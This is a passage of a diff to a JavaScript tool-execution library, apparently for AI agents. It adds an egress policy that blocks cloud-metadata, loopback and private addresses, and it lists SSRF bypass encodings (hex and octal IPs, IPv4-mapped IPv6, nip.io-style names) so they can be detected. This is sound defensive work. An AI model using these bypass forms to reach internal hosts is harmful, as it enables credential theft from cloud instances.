chunks.push(Buffer.from(value)); + size += value.length; } - } - - let body = undefined; - if (httpDef.body_template) { - // JSON-escape values for safe interpolation into body templates - const escaped = {}; - for (const [k, v] of Object.entries(context)) { - escaped[k] = JSON.stringify(String(v)).slice(1, -1); + } finally { + if (truncated) { + await reader.cancel().catch(() => {}); + } else { + reader.releaseLock(); } - body = injectTemplateVars(interpolate(httpDef.body_template, escaped)); - } - - const method = (httpDef.method || "GET").toUpperCase(); - const scanId = `${Math.floor(Date.now() / 1000)}-${randomBytes(2).toString("hex")}`; - - if (options.dryRun) { - return { - status: "dry_run", - scan_id: scanId, - tool: manifest.tool.name, - command: `${method} ${url}`, - timestamp: new Date().toISOString(), - }; - } - - // Build curl arguments for synchronous HTTP execution - const curlArgs = ["-s", "-S", "-X", method, "-w", "\n%{http_code}"]; - for (const [k, v] of Object.entries(headers)) { - curlArgs.push("-H", `${k}: ${v}`); - } - if (body && method !== "GET" && method !== "HEAD") { - curlArgs.push("-d", body); - } - const timeout = manifest.tool.timeout_seconds || 30; - curlArgs.push("--max-time", String(timeout)); - curlArgs.push(url); - - const startTime = Date.now(); - const result = spawnSync("curl", curlArgs, { - encoding: "utf-8", - timeout: (timeout + 5) * 1000, - }); - - const durationMs = Date.now() - startTime; - const output = (result.stdout || "").trim(); - const lines = output.split("\n"); - const statusCode = parseInt(lines.pop(), 10) || 0; - const respBody = lines.join("\n"); - - const outputHash = createHash("sha256").update(respBody).digest("hex"); - - const successStatus = httpDef.success_status || [200, 201, 202, 204]; - const isSuccess = successStatus.includes(statusCode); - - let status; - if (isSuccess) { - status = "success"; - } else if (statusCode >= 400 && statusCode < 500) { - status = `client_error (HTTP ${statusCode})`; - } else if (statusCode >= 500 && statusCode < 600) { - status = `server_error (HTTP ${statusCode})`; - } else { - status = `error (HTTP ${statusCode})`; } - - return { - status, - scan_id: scanId, - tool: manifest.tool.name, - command: `${method} ${url}`, - http_status: statusCode, - exit_code: result.status ?? -1, - stderr: result.stderr || "", - duration_ms: durationMs, - timestamp: new Date(startTime).toISOString(), - output_hash: `sha256:${outputHash}`, - results: parseOutputJs(manifest, respBody), - }; + return { text: decodeCapped(chunks, truncated), truncated }; } /** * Execute a tool via HTTP when the manifest has an [http] section. - * Uses Node 18+ built-in fetch. + * Uses Node 18+ built-in fetch. Redirects are never followed: a 3xx gives + * status `redirect_blocked` with the `Location` header under + * `results.location`. The body is read up to `[output] max_bytes`. * * @param {object} manifest - Parsed manifest with http section * @param {object} args - User-supplied arguments (key=value) * @param {object} [options] - Execution options - * @param {boolean} [options.dryRun=false] - If true, build request but don't execute + * @param {boolean} [options.dryRun=false] - If true, build request but don't execute (not gated) + * @param {Function} [options.gate] - Policy gate; defaults to defaultGate + * @param {boolean} [options.approve=false] - Use the allow-all gate * @returns {Promise} Evidence envelope with http_status */ export async function executeHttp(manifest, args, options = {}) { + selectGate(options); const httpDef = manifest.http; if (!httpDef || !httpDef.url) { throw new Error("Manifest missing [http] section or http.url"); } + // An [http] manifest is an egress manifest by definition; an in-memory one + // never passes through loadManifest, so check and lint it here. + checkHttpDefinition(manifest); + lintNetworkEgress(manifest); + checkOutputParser(manifest); + const maxBytes = outputMaxBytes(manifest); + const timeoutMs = timeoutSeconds(manifest) * 1000; const resolvedArgs = resolveArgs(manifest, args); const context = { ...resolvedArgs }; - // Interpolate URL with args and template vars - let url = interpolate(httpDef.url, context); - url = injectTemplateVars(url); - - // Interpolate headers - const headers = {}; - if (httpDef.headers) { - for (const [key, val] of Object.entries(httpDef.headers)) { - headers[key] = injectTemplateVars(interpolate(val, context)); - } + // JSON-escape values for safe interpolation into body templates. + const escaped = {}; + for (const [k, v] of Object.entries(context)) { + escaped[k] = JSON.stringify(String(v)).slice(1, -1); } - // Interpolate body - let body = undefined; - if (httpDef.body_template) { - body = injectTemplateVars(interpolate(httpDef.body_template, context)); - } + // Secrets are expanded on the template before any argument is + // interpolated (TC-7); see buildHttpRequest. + const { url, headers, body } = buildHttpRequest(httpDef, context, escaped); const method = (httpDef.method || "GET").toUpperCase(); + const scanId = newScanId(); if (options.dryRun) { return { status: "dry_run", + scan_id: scanId, tool: manifest.tool.name, + command: `${method} ${url}`, http_method: method, http_url: url, http_headers: headers, @@ -715,34 +1889,53 @@ export async function executeHttp(manifest, args, options = {}) { }; } + consultGate(manifest, resolvedArgs, options); + const startTime = Date.now(); - const scanId = `${Math.floor(startTime / 1000)}-${randomBytes(2).toString("hex")}`; - const fetchOptions = { method, headers }; + const fetchOptions = { + method, + headers, + redirect: "manual", + signal: AbortSignal.timeout(timeoutMs), + }; if (body && method !== "GET" && method !== "HEAD") { fetchOptions.body = body; } const response = await fetch(url, fetchOptions); - const responseBody = await response.text(); + const { text: responseBody, truncated } = await readCappedBody(response, maxBytes); const durationMs = Date.now() - startTime; const outputHash = createHash("sha256").update(responseBody).digest("hex"); const successStatus = httpDef.success_status || [200, 201, 202, 204]; const isSuccess = successStatus.includes(response.status); + // The declared request, never the expanded URL: secrets and interpolated + // values stay out of the envelope. const envelope = { status: isSuccess ? "success" : "error", scan_id: scanId, tool: manifest.tool.name, + command: `${method} ${httpDef.url}`, http_status: response.status, duration_ms: durationMs, timestamp: new Date(startTime).toISOString(), output_hash: `sha256:${outputHash}`, }; - - if (isSuccess) { - envelope.results = { raw_output: responseBody }; + if (truncated) envelope.output_truncated = true; + + if (response.status >= 300 && response.status < 400) { + envelope.status = "redirect_blocked"; + envelope.error = `HTTP ${response.status}: redirect not followed`; + envelope.results = { + location: response.headers.get("location") ?? "", + raw_output: responseBody, + }; + } else if (isSuccess) { + const finished = finishResults(manifest, responseBody); + envelope.status = finished.status; + envelope.results = finished.results; } else { envelope.error = `HTTP ${response.status}: ${responseBody.slice(0, 500)}`; envelope.results = { raw_output: responseBody }; @@ -753,19 +1946,23 @@ export async function executeHttp(manifest, args, options = {}) { /** * Proxy a tool invocation to an MCP server when the manifest has an [mcp] section. - * Performs field mapping and returns a delegated envelope. + * Performs field mapping and returns a delegated envelope. The policy gate + * is consulted before the envelope is built. * * @param {object} manifest - Parsed manifest with mcp section * @param {object} args - User-supplied arguments (key=value) - * @returns {object} Evidence envelope with status "delegated" + * @param {object} [options] - `{ gate, approve }`, as for execute + * @returns {object} Evidence envelope with status "delegation_preview" */ -export function executeMcp(manifest, args) { +export function executeMcp(manifest, args, options = {}) { + selectGate(options); const mcpDef = manifest.mcp; if (!mcpDef || !mcpDef.server || !mcpDef.tool) { throw new Error("Manifest missing [mcp] section or mcp.server/mcp.tool"); } const resolvedArgs = resolveArgs(manifest, args); + consultGate(manifest, resolvedArgs, options); // Apply field_map: translate our arg names to the MCP tool's expected names const mappedArgs = {}; @@ -781,12 +1978,13 @@ export function executeMcp(manifest, args) { } const startTime = Date.now(); - const scanId = `${Math.floor(startTime / 1000)}-${randomBytes(2).toString("hex")}`; + const scanId = newScanId(); return { status: "delegation_preview", scan_id: scanId, tool: manifest.tool.name, + command: `mcp://${mcpDef.server}/${mcpDef.tool}`, mcp_server: mcpDef.server, mcp_tool: mcpDef.tool, mapped_args: mappedArgs, @@ -881,7 +2079,10 @@ function buildOutputSchema(manifest) { return { type: "object", properties: { - status: { type: "string", enum: ["success", "error"] }, + status: { + type: "string", + enum: ["success", "error", "timeout", "schema_error", "parse_error", "redirect_blocked"], + }, scan_id: { type: "string" }, tool: { type: "string" }, command: { type: "string" }, @@ -890,6 +2091,7 @@ function buildOutputSchema(manifest) { duration_ms: { type: "integer" }, timestamp: { type: "string", format: "date-time" }, output_hash: { type: "string" }, + output_truncated: { type: "boolean" }, results, }, }; diff --git a/js/src/hostpolicy.js b/js/src/hostpolicy.js new file mode 100644 index 0000000..58a6ea3 --- /dev/null +++ b/js/src/hostpolicy.js @@ -0,0 +1,479 @@ +/** + * Host / IP egress policy. + * + * One place for everything that decides whether a literal address may be a + * tool target, so the range table can be compared side by side with the + * other runtimes. The parsers here are deliberately strict and hand-rolled: + * a normalizing parser (`new URL()`, `net.isIP` with its lenient forms, a + * resolver) is exactly what hides the obfuscated encodings that this policy + * exists to refuse. Only dotted-quad IPv4 and standard RFC 4291 IPv6 text are + * accepted; integer, hex, octal and shorthand forms (`2130706433`, + * `0x7f000001`, `0177.0.0.1`, `127.1`) fail to parse and are reported as + * non-canonical literals by the caller. + * + * Representation: IPv4 is an unsigned 32-bit integer, IPv6 is an array of + * eight 16-bit groups. IPv4-mapped IPv6 (`::ffff:a.b.c.d`) is unwrapped + * before any range test so `::ffff:127.0.0.1` is caught by the IPv4 rows. + */ + +/** + * Ranges refused for every target, with or without `block_internal`. + * The IPv4 link-local block contains the cloud-metadata endpoint + * 169.254.169.254; no agent tool has a legitimate reason to reach it and + * the blast radius (instance-credential theft) is maximal. + * Rows are `[cidr, reason]`; the first matching row wins. + */ +export const ALWAYS_BLOCKED_RANGES = Object.freeze([ + ["169.254.0.0/16", "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked"], + ["fe80::/10", "is an IPv6 link-local address (fe80::/10) — always blocked"], +]); + +/** + * Ranges refused only under the opt-in `block_internal = true` policy. + * Rows are `[cidr, reason]`; the first matching row wins, so the broadcast + * address (which also lies inside 240.0.0.0/4) is reported as broadcast, not + * as reserved. IPv6 link-local appears here as well as in the always-blocked + * tier so the table matches the policy as written; in practice the + * always-blocked check fires first. + */ +export const BLOCK_INTERNAL_RANGES = Object.freeze([ + // IPv4 + ["127.0.0.0/8", "resolves to a loopback address"], + ["10.0.0.0/8", "resolves to a private address"], + ["172.16.0.0/12", "resolves to a private address"], + ["192.168.0.0/16", "resolves to a private address"], + ["100.64.0.0/10", "resolves to a shared / carrier-grade NAT address (100.64.0.0/10)"], + ["0.0.0.0/8", "is in the unspecified range (0.0.0.0/8)"], + ["255.255.255.255/32", "is the broadcast address"], + ["192.0.2.0/24", "is a documentation-range address"], + ["198.51.100.0/24", "is a documentation-range address"], + ["203.0.113.0/24", "is a documentation-range address"], + ["198.18.0.0/15", "is a benchmarking-range address (198.18.0.0/15)"], + ["240.0.0.0/4", "is a reserved address (240.0.0.0/4)"], + // IPv6 + ["::1/128", "resolves to the IPv6 loopback ::1"], + ["::/128", "is the IPv6 unspecified address ::"], + ["fc00::/7", "is an IPv6 unique-local address (fc00::/7)"], + ["fe80::/10", "is an IPv6 link-local address (fe80::/10)"], + ["2001:db8::/32", "is an IPv6 documentation-range address (2001:db8::/32)"], +]); + +const IPV4_OCTET_RE = /^(0|[1-9][0-9]{0,2})$/; +const HEX_GROUP_RE = /^[0-9a-fA-F]{1,4}$/; + +/** + * Parse a canonical dotted-quad IPv4 literal. Exactly four decimal octets, + * each 0-255 with no leading zeros (so `01.2.3.4` and `0177.0.0.1` fail, as + * they do in the Rust and Go standard parsers). + * @param {string} str + * @returns {number|null} Unsigned 32-bit integer, or null if not canonical + */ +export function parseIpv4(str) { + const labels = str.split("."); + if (labels.length !== 4) return null; + let addr = 0; + for (const label of labels) { + if (!IPV4_OCTET_RE.test(label)) return null; + const octet = Number(label); + if (octet > 255) return null; + addr = addr * 256 + octet; + } + return addr >>> 0; +} + +/** + * Parse a standard RFC 4291 IPv6 literal: hex groups of 1-4 digits, at most + * one `::`, an optional trailing dotted-quad IPv4 (`::ffff:1.2.3.4`). No + * brackets, no zone id (`%eth0`), nothing else. + * @param {string} str + * @returns {number[]|null} Eight 16-bit groups, or null if not canonical + */ +export function parseIpv6(str) { + if (str.length === 0 || !/^[0-9a-fA-F:.]+$/.test(str)) return null; + const gap = str.indexOf("::"); + let head; + let tail; + if (gap === -1) { + head = str; + tail = null; + } else { + head = str.slice(0, gap); + tail = str.slice(gap + 2); + if (tail.includes("::")) return null; + } + // A dotted-quad IPv4 may only close the address: in the head when there + // is no `::`, otherwise only in the tail. + const headGroups = parseGroupRun(head, tail === null); + if (headGroups === null) return null; + const tailGroups = tail === null ? [] : parseGroupRun(tail, true); + if (tailGroups === null) return null; + if (tail === null) { + // No `::` — the head must be the whole address. + return headGroups.length === 8 ? headGroups : null; + } + // `::` stands for at least one zero group. + if (headGroups.length + tailGroups.length > 7) return null; + const zeros = new Array(8 - headGroups.length - tailGroups.length).fill(0); + return [...headGroups, ...zeros, ...tailGroups]; +} + +/** + * Parse a colon-separated run of hex groups. When `allowIpv4Tail` is set the + * final group may be a dotted-quad IPv4, which contributes two groups. + * @returns {number[]|null} + */ +function parseGroupRun(run, allowIpv4Tail) { + if (run === "") return []; + const parts = run.split(":"); + const groups = []; + for (let i = 0; i < parts.length; i++) { + const part = parts[i]; + if (i === parts.length - 1 && part.includes(".")) { + if (!allowIpv4Tail) return null; + const v4 = parseIpv4(part); + if (v4 === null) return null; + groups.push(v4 >>> 16, v4 & 0xffff); + continue; + } + if (!HEX_GROUP_RE.test(part)) return null; + groups.push(parseInt(part, 16)); + } + return groups; +} + +/** + * Parse only canonical IP text: dotted-quad IPv4 or standard IPv6. Integer, + * hex, octal and shorthand encodings fail by construction. + * @param {string} str + * @returns {{family: 4, addr: number} | {family: 6, groups: number[]} | null} + */ +export function parseCanonicalIp(str) { + const v4 = parseIpv4(str); + if (v4 !== null) return { family: 4, addr: v4 }; + const v6 = parseIpv6(str); + if (v6 !== null) return { family: 6, groups: v6 }; + return null; +} + +/** + * Parse `address/prefix` with a canonical base address and a prefix within + * the family's bound (0-32 or 0-128). + * @param {string} str + * @returns {{ip: object, prefix: number} | null} + */ +export function parseCidr(str) { + const slash = str.indexOf("/"); + if (slash === -1) return null; + const ip = parseCanonicalIp(str.slice(0, slash)); + if (ip === null) return null; + const prefixText = str.slice(slash + 1); + if (!/^[0-9]{1,3}$/.test(prefixText)) return null; + const prefix = Number(prefixText); + if (prefix > (ip.family === 4 ? 32 : 128)) return null; + return { ip, prefix }; +} + +/** + * True if `a` and `b` (same family) agree on their first `prefix` bits. + * IPv4 compares the 32-bit integers (a prefix of 0 is special-cased because + * `>>> 32` is a no-op shift); IPv6 compares whole 16-bit groups and then the + * masked remainder of the boundary group. + */ +function sharePrefix(a, b, prefix) { + if (a.family === 4) { + if (prefix === 0) return true; + return ((a.addr ^ b.addr) >>> (32 - prefix)) === 0; + } + const full = prefix >> 4; + for (let i = 0; i < full; i++) { + if (a.groups[i] !== b.groups[i]) return false; + } + const rem = prefix & 15; + if (rem === 0) return true; + const mask = (0xffff << (16 - rem)) & 0xffff; + return (a.groups[full] & mask) === (b.groups[full] & mask); +} + +/** + * True if `ip` lies inside the range `{ip: base, prefix}`. Families must + * match; an IPv4-mapped IPv6 address is unwrapped by the caller, not here. + */ +export function ipInRange(ip, range) { + if (ip.family !== range.ip.family) return false; + return sharePrefix(ip, range.ip, range.prefix); +} + +/** + * True if two prefixes share at least one address. Masking both network + * addresses to the shorter of the two prefix lengths and comparing is the + * same test as "either range contains the other's network address": the + * wider range contains the narrower one entirely or not at all. This is + * what makes `8.0.0.0/5` fail against `10.0.0.0/8` even though its base + * address is public. Families must match; an IPv4-mapped IPv6 range is + * projected onto IPv4 by the caller (see toIpv4MappedPrefix). + * @param {{ip: object, prefix: number}} a + * @param {{ip: object, prefix: number}} b + * @returns {boolean} + */ +export function prefixesOverlap(a, b) { + if (a.ip.family !== b.ip.family) return false; + return sharePrefix(a.ip, b.ip, Math.min(a.prefix, b.prefix)); +} + +/** + * The IPv4 address carried by an IPv4-mapped IPv6 address (`::ffff:a.b.c.d`), + * or the address itself when it is already IPv4. Null for any other IPv6. + * @returns {{family: 4, addr: number} | null} + */ +export function toIpv4Mapped(ip) { + if (ip.family === 4) return ip; + const g = ip.groups; + if (g[0] === 0 && g[1] === 0 && g[2] === 0 && g[3] === 0 && g[4] === 0 && g[5] === 0xffff) { + return { family: 4, addr: ((g[6] << 16) | g[7]) >>> 0 }; + } + return null; +} + +/** The IPv4-mapped block `::ffff:0:0/96` as a parsed address. */ +const IPV4_MAPPED_BLOCK = Object.freeze({ family: 6, groups: [0, 0, 0, 0, 0, 0xffff, 0, 0] }); + +/** + * The IPv4 range an IPv4-mapped IPv6 range covers, or the range itself when + * it is already IPv4. A prefix of /96 or longer on a mapped base is the same + * prefix minus 96 (`::ffff:127.0.0.0/104` is `127.0.0.0/8`); a shorter + * prefix that contains the whole mapped block covers every IPv4 address and + * is `0.0.0.0/0`. Null for any other IPv6 range. + * @param {{ip: object, prefix: number}} cidr + * @returns {{ip: {family: 4, addr: number}, prefix: number} | null} + */ +export function toIpv4MappedPrefix(cidr) { + if (cidr.ip.family === 4) return cidr; + if (cidr.prefix >= 96) { + const v4 = toIpv4Mapped(cidr.ip); + return v4 === null ? null : { ip: v4, prefix: cidr.prefix - 96 }; + } + return ipInRange(IPV4_MAPPED_BLOCK, cidr) ? { ip: { family: 4, addr: 0 }, prefix: 0 } : null; +} + +function compileTable(rows) { + return rows.map(([cidr, reason]) => { + const range = parseCidr(cidr); + if (range === null) { + throw new Error(`hostpolicy: malformed range '${cidr}' in policy table`); + } + return { cidr, range, reason }; + }); +} + +// Parsed once at module load; a malformed row is a startup error, never a +// silently skipped rule. +const ALWAYS_BLOCKED = compileTable(ALWAYS_BLOCKED_RANGES); +const BLOCK_INTERNAL = compileTable(BLOCK_INTERNAL_RANGES); + +function firstIpMatch(table, ip) { + // IPv4 rows are tested against the unwrapped address, IPv6 rows against the + // address as given, so a v4-mapped literal is caught by the IPv4 rows. + const v4 = toIpv4Mapped(ip); + for (const row of table) { + const candidate = row.range.ip.family === 4 ? v4 : ip.family === 6 ? ip : null; + if (candidate !== null && ipInRange(candidate, row.range)) return row.reason; + } + return null; +} + +function firstCidrMatch(table, cidr) { + // Same projection as for literals: IPv4 rows see the mapped IPv4 range, + // IPv6 rows see the range as given. A range is matched by overlap, so a + // supernet of a blocked row (`8.0.0.0/5` over `10.0.0.0/8`) is caught. + const v4 = toIpv4MappedPrefix(cidr); + for (const row of table) { + const candidate = row.range.ip.family === 4 ? v4 : cidr.ip.family === 6 ? cidr : null; + if (candidate !== null && prefixesOverlap(candidate, row.range)) return row.reason; + } + return null; +} + +/** + * Reason `ip` must be blocked regardless of policy, or null. + * @param {object} ip - Parsed address from parseCanonicalIp + * @returns {string|null} + */ +export function alwaysBlockedIpReason(ip) { + return firstIpMatch(ALWAYS_BLOCKED, ip); +} + +/** + * Reason `ip` is a non-public address that `block_internal` refuses, or null. + * @param {object} ip - Parsed address from parseCanonicalIp + * @returns {string|null} + */ +export function nonPublicIpReason(ip) { + return firstIpMatch(BLOCK_INTERNAL, ip); +} + +/** + * Reason the range `cidr` overlaps an always-blocked range, or null. + * @param {{ip: object, prefix: number}} cidr - Parsed range from parseCidr + * @returns {string|null} + */ +export function alwaysBlockedCidrReason(cidr) { + return firstCidrMatch(ALWAYS_BLOCKED, cidr); +} + +/** + * Reason the range `cidr` overlaps a range that `block_internal` refuses, + * or null. + * @param {{ip: object, prefix: number}} cidr - Parsed range from parseCidr + * @returns {string|null} + */ +export function nonPublicCidrReason(cidr) { + return firstCidrMatch(BLOCK_INTERNAL, cidr); +} + +/** + * The two policy tiers: an always-blocked match is refused unconditionally; + * the non-public table is consulted only under `block_internal = true`. + * @param {boolean} blockInternal + * @param {string|null} always - Always-blocked reason, if any + * @param {() => string|null} nonPublic - Non-public reason, computed lazily + */ +function enforceTiers(blockInternal, always, nonPublic) { + if (always !== null) { + throw new Error(`target ${always}`); + } + if (blockInternal === true) { + const reason = nonPublic(); + if (reason !== null) { + throw new Error(`target ${reason} (blocked by block_internal policy)`); + } + } +} + +/** + * Enforce the egress policy for a literal target address: link-local / + * metadata is always blocked; the remaining non-public ranges are blocked + * only when the argument sets `block_internal = true`. + * @param {object} ip - Parsed address from parseCanonicalIp + * @param {boolean} blockInternal + * @throws {Error} with the policy reason + */ +export function enforceIpPolicy(ip, blockInternal) { + enforceTiers(blockInternal, alwaysBlockedIpReason(ip), () => nonPublicIpReason(ip)); +} + +/** + * Enforce the egress policy for a target range. The range is tested for + * overlap with every blocked range, not just at its base address: a target + * that contains any blocked address is refused with that range's reason. + * @param {{ip: object, prefix: number}} cidr - Parsed range from parseCidr + * @param {boolean} blockInternal + * @throws {Error} with the policy reason + */ +export function enforceCidrPolicy(cidr, blockInternal) { + enforceTiers(blockInternal, alwaysBlockedCidrReason(cidr), () => nonPublicCidrReason(cidr)); +} + +/** + * True if `val` is an attempt at an IP literal in a non-canonical encoding: + * a `0x…` hex form, or every dot-separated label is all ASCII digits + * (integer / dotted-decimal / octal / shorthand). A resolver would expand + * such a value to an address, so it must never pass as a "hostname". + * Canonical literals are handled before this is consulted. + * @param {string} val + * @returns {boolean} + */ +export function looksLikeIpLiteral(val) { + if (val.toLowerCase().startsWith("0x")) return true; + return val.split(".").every((label) => label.length > 0 && /^[0-9]+$/.test(label)); +} + +/** + * True if any DNS label in `host` is an A-label (`xn--…`), compared + * case-insensitively per IDNA. + * @param {string} host + * @returns {boolean} + */ +export function hasPunycodeLabel(host) { + return host + .split(".") + .some((label) => label.length >= 4 && label.slice(0, 4).toLowerCase() === "xn--"); +} + +/** + * Names that are always internal, compared exactly (after lowercasing and + * dropping one trailing dot). `metadata.google.internal` is listed on its own + * even though `.internal` already covers it, so the policy reads the same as + * in the other runtimes. + */ +export const INTERNAL_NAMES = Object.freeze(["localhost", "metadata.google.internal"]); + +/** + * Suffixes that place a host in the local machine or a site-internal + * namespace: `.localhost` (RFC 6761), mDNS `.local` (RFC 6762), `.home.arpa` + * (RFC 8375), and the common private-namespace suffixes `.internal`, `.lan`, + * `.intranet`, `.corp`, `.private`. A name under any of them is refused for + * every target, with or without `block_internal`, before any resolution. + */ +export const INTERNAL_NAME_SUFFIXES = Object.freeze([ + ".localhost", + ".local", + ".internal", + ".home.arpa", + ".lan", + ".intranet", + ".corp", + ".private", +]); + +/** + * Reason `host` is an internal name that is always refused, or null. The + * comparison is case-insensitive and ignores one trailing dot (the FQDN root + * label) where the type still admits one at this point. + * @param {string} host + * @returns {string|null} + */ +export function internalNameReason(host) { + let h = host.toLowerCase(); + if (h.endsWith(".")) h = h.slice(0, -1); + if (INTERNAL_NAMES.includes(h) || INTERNAL_NAME_SUFFIXES.some((suffix) => h.endsWith(suffix))) { + return "resolves to an internal name — always blocked"; + } + return null; +} + +/** Four 1-3 digit groups joined by `-`: the dashed quad wildcard DNS accepts. */ +const DASHED_QUAD_RE = /^([0-9]{1,3})-([0-9]{1,3})-([0-9]{1,3})-([0-9]{1,3})$/; + +/** + * The IPv4 address an "embedded literal" hostname spells, or null. Wildcard + * DNS services (nip.io, sslip.io, xip.io) answer `....` + * and `---.` with the address written in the name, so a + * string check for a hostname shape is a one-step bypass of the literal + * policy. Two shapes are recognized: + * + * - the first four dot-separated labels form a canonical dotted quad + * (`127.0.0.1.nip.io`, `169.254.169.254.xip.io`); + * - the first label is a dashed quad of four 1-3 digit groups each 0-255 + * (`10-0-0-1.nip.io`). + * + * The caller applies the range policy to the result. An address the policy + * allows does not make the hostname invalid (`93-184-216-34.example.com` + * continues as an ordinary hostname). + * @param {string} host + * @returns {{family: 4, addr: number} | null} + */ +export function embeddedIpv4Literal(host) { + const labels = host.split("."); + if (labels.length >= 4) { + const v4 = parseIpv4(labels.slice(0, 4).join(".")); + if (v4 !== null) return { family: 4, addr: v4 }; + } + const m = DASHED_QUAD_RE.exec(labels[0]); + if (m !== null) { + const octets = m.slice(1, 5).map(Number); + if (octets.every((octet) => octet <= 255)) { + return { family: 4, addr: octets.reduce((acc, octet) => acc * 256 + octet, 0) >>> 0 }; + } + } + return null; +} diff --git a/js/src/index.js b/js/src/index.js index 4e262aa..d40082f 100644 --- a/js/src/index.js +++ b/js/src/index.js @@ -1,10 +1,99 @@ -export { loadManifest } from "./manifest.js"; -export { validateArg, checkInjection } from "./validator.js"; +export { + loadManifest, + loadManifestWithOptions, + loadManifestFromString, + loadCustomTypes, + discoverCustomTypes, + BUILTIN_TYPES, + CUSTOM_TYPES, + validateManifestWithCustomTypes, + findUnknownKeys, + MANIFEST_KEYS, +} from "./manifest.js"; +export { + validateArg, + validateArgMode, + validateArgAsync, + validateArgIn, + validateArgInAsync, + validateDefaultValue, + validateArgWithCustomTypes, + validateArgWithCustomTypesMode, + validateArgWithCustomTypesAsync, + anchorPattern, + checkInjection, + splitUrlScheme, + parseUrlAuthority, +} from "./validator.js"; +export { + SCOPE_CHECK_TYPES, + NO_SCOPE_FILE_MESSAGE, + makeScope, + loadScopeFile, + discoverScope, + scopeForManifest, + ipInCidr, + hostMatchesRule, + checkScope, + urlHostInScope, +} from "./scope.js"; +export { + ALWAYS_BLOCKED_RANGES, + BLOCK_INTERNAL_RANGES, + parseIpv4, + parseIpv6, + parseCanonicalIp, + parseCidr, + ipInRange, + prefixesOverlap, + toIpv4Mapped, + toIpv4MappedPrefix, + alwaysBlockedIpReason, + nonPublicIpReason, + alwaysBlockedCidrReason, + nonPublicCidrReason, + enforceIpPolicy, + enforceCidrPolicy, + looksLikeIpLiteral, + hasPunycodeLabel, + INTERNAL_NAMES, + INTERNAL_NAME_SUFFIXES, + internalNameReason, + embeddedIpv4Literal, +} from "./hostpolicy.js"; export { buildCommand, + buildCommandArgv, + compileCommand, + tokenizeTemplate, + EGRESS_BINARIES, + isEgressManifest, + lintNetworkEgress, execute, + executeSync, executeHttp, + executeHttpSync, + FIXED_PATH, + INTERPRETER_BINARIES, + buildChildEnv, + makeSecretResolver, + newScanId, + evidencePaths, + resolveBinary, + timeoutSeconds, executeMcp, injectTemplateVars, generateMcpSchema, + GateDecision, + PolicyGateError, + defaultGate, + approveGate, + declaredCommand, + checkHttpDefinition, + checkOutputParser, + outputMaxBytes, + BUILTIN_PARSERS, + DEFAULT_OUTPUT_MAX_BYTES, + OUTPUT_MAX_BYTES_LIMIT, } from "./executor.js"; +export { validateJsonSchema } from "./schema.js"; diff --git a/js/src/manifest.js b/js/src/manifest.js index d9608d4..6a973f5 100644 --- a/js/src/manifest.js +++ b/js/src/manifest.js @@ -1,27 +1,328 @@ -import { readFileSync } from "node:fs"; +import { existsSync, readFileSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; import TOML from "@iarna/toml"; +import { + checkHttpDefinition, + checkOutputParser, + compileCommand, + lintNetworkEgress, + outputMaxBytes, + timeoutSeconds, +} from "./executor.js"; +import { validateDefaultValue } from "./validator.js"; +import { MANIFEST_DIR, SCOPE_CHECK_TYPES } from "./scope.js"; /** - * Load and parse a .clad.toml manifest file. + * Hidden property every loader sets to the custom type map the manifest was + * checked against (discovered from `toolclad.toml` or supplied by the caller). + * The executor validates arguments with it, so a custom type works on every + * path that validates arguments, not only in the dry run. + */ +export const CUSTOM_TYPES = Symbol.for("toolclad.customTypes"); + +/** Allowed keys inside a `[types.]` table of toolclad.toml. */ +const CUSTOM_TYPE_KEYS = new Set([ + "base", "allowed", "pattern", "min", "max", "min_float", "max_float", +]); + +/** Built-in argument types; anything else is a custom type from toolclad.toml. */ +export const BUILTIN_TYPES = new Set([ + "string", "integer", "number", "port", "boolean", "enum", "scope_target", + "url", "path", "ip_address", "cidr", "msf_options", "credential_file", + "duration", "regex_match", +]); + +/** + * Complete manifest key allowlist, one entry per section, in the order of the + * normative table so the two can be diffed line by line. + * + * A section path ending in `` is keyed by author-chosen names whose + * contents are checked against the listed keys (`[args.]`, + * `[command.conditionals.]`, `[session.commands.]`, + * `[browser.commands.]`). A known key whose value is a table but that has + * no entry of its own here is an open map or opaque data and is not walked: + * `command.defaults`, `command.mappings`, `output.schema`, `http.headers`, + * `mcp.field_map`, and the `args` of a session or browser command. + */ +export const MANIFEST_KEYS = Object.freeze({ + "tool": + "name version binary description timeout_seconds risk_tier " + + "human_approval dispatch mode network_egress allow_interpreter " + + "cedar evidence limits", + "tool.cedar": "resource action", + "tool.evidence": "output_dir capture hash screenshots", + "tool.limits": "nproc nofile fsize_bytes address_space_bytes cpu_seconds", + "args.": + "position required type description default allowed pattern " + + "sanitize min max min_float max_float clamp schemes " + + "scope_check block_internal allow_leading_dash allow_whitespace", + "command": + "template exec executor defaults mappings conditionals " + + "end_of_options", + "command.conditionals.": "when template", + "output": "format parser envelope schema max_bytes", + "http": "method url headers body_template success_status error_status", + "mcp": "server tool field_map", + "session": + "startup_command ready_pattern startup_timeout_seconds " + + "idle_timeout_seconds session_timeout_seconds max_interactions " + + "interaction commands child_detection", + "session.interaction": "input_sanitize output_max_bytes output_wait_ms", + "session.commands.": + "pattern description risk_tier human_approval " + + "extract_target args", + "session.child_detection": "pattern type manifest", + "browser": + "engine headless connect extract_mode startup_timeout_seconds " + + "session_timeout_seconds idle_timeout_seconds max_interactions " + + "scope commands state defaults", + "browser.defaults": "extract_mode", + "browser.scope": "allowed_domains blocked_domains allow_external", + "browser.commands.": "description risk_tier human_approval args", + "browser.state": "fields", +}); + +// Section path -> Set of allowed keys. The root entry ("") is derived from the +// table's first path components so the top-level section list cannot drift +// from it. +const SECTION_KEYS = new Map( + Object.entries(MANIFEST_KEYS).map(([section, keys]) => [ + section, + new Set(keys.split(" ")), + ]) +); +SECTION_KEYS.set( + "", + new Set([...SECTION_KEYS.keys()].map((section) => section.split(".")[0])) +); + +const TOOL_MODES = ["oneshot", "session", "browser"]; +const LIMIT_KEYS = ["nproc", "nofile", "fsize_bytes", "address_space_bytes", "cpu_seconds"]; + +function isTable(value) { + return ( + value !== null && + typeof value === "object" && + !Array.isArray(value) && + !(value instanceof Date) + ); +} + +/** + * Walk a parsed manifest and return every key the allowlist does not know, as + * sorted concrete dotted paths (e.g. `args.target.block_internal_typo`). + * + * @param {object} manifest - Raw TOML.parse result + * @returns {string[]} Sorted unknown key paths; empty when the manifest is clean + */ +export function findUnknownKeys(manifest) { + const unknown = []; + walkTable(manifest, "", "", unknown); + return unknown.sort(); +} + +function walkTable(table, section, path, unknown) { + const allowed = SECTION_KEYS.get(section); + if (allowed) { + for 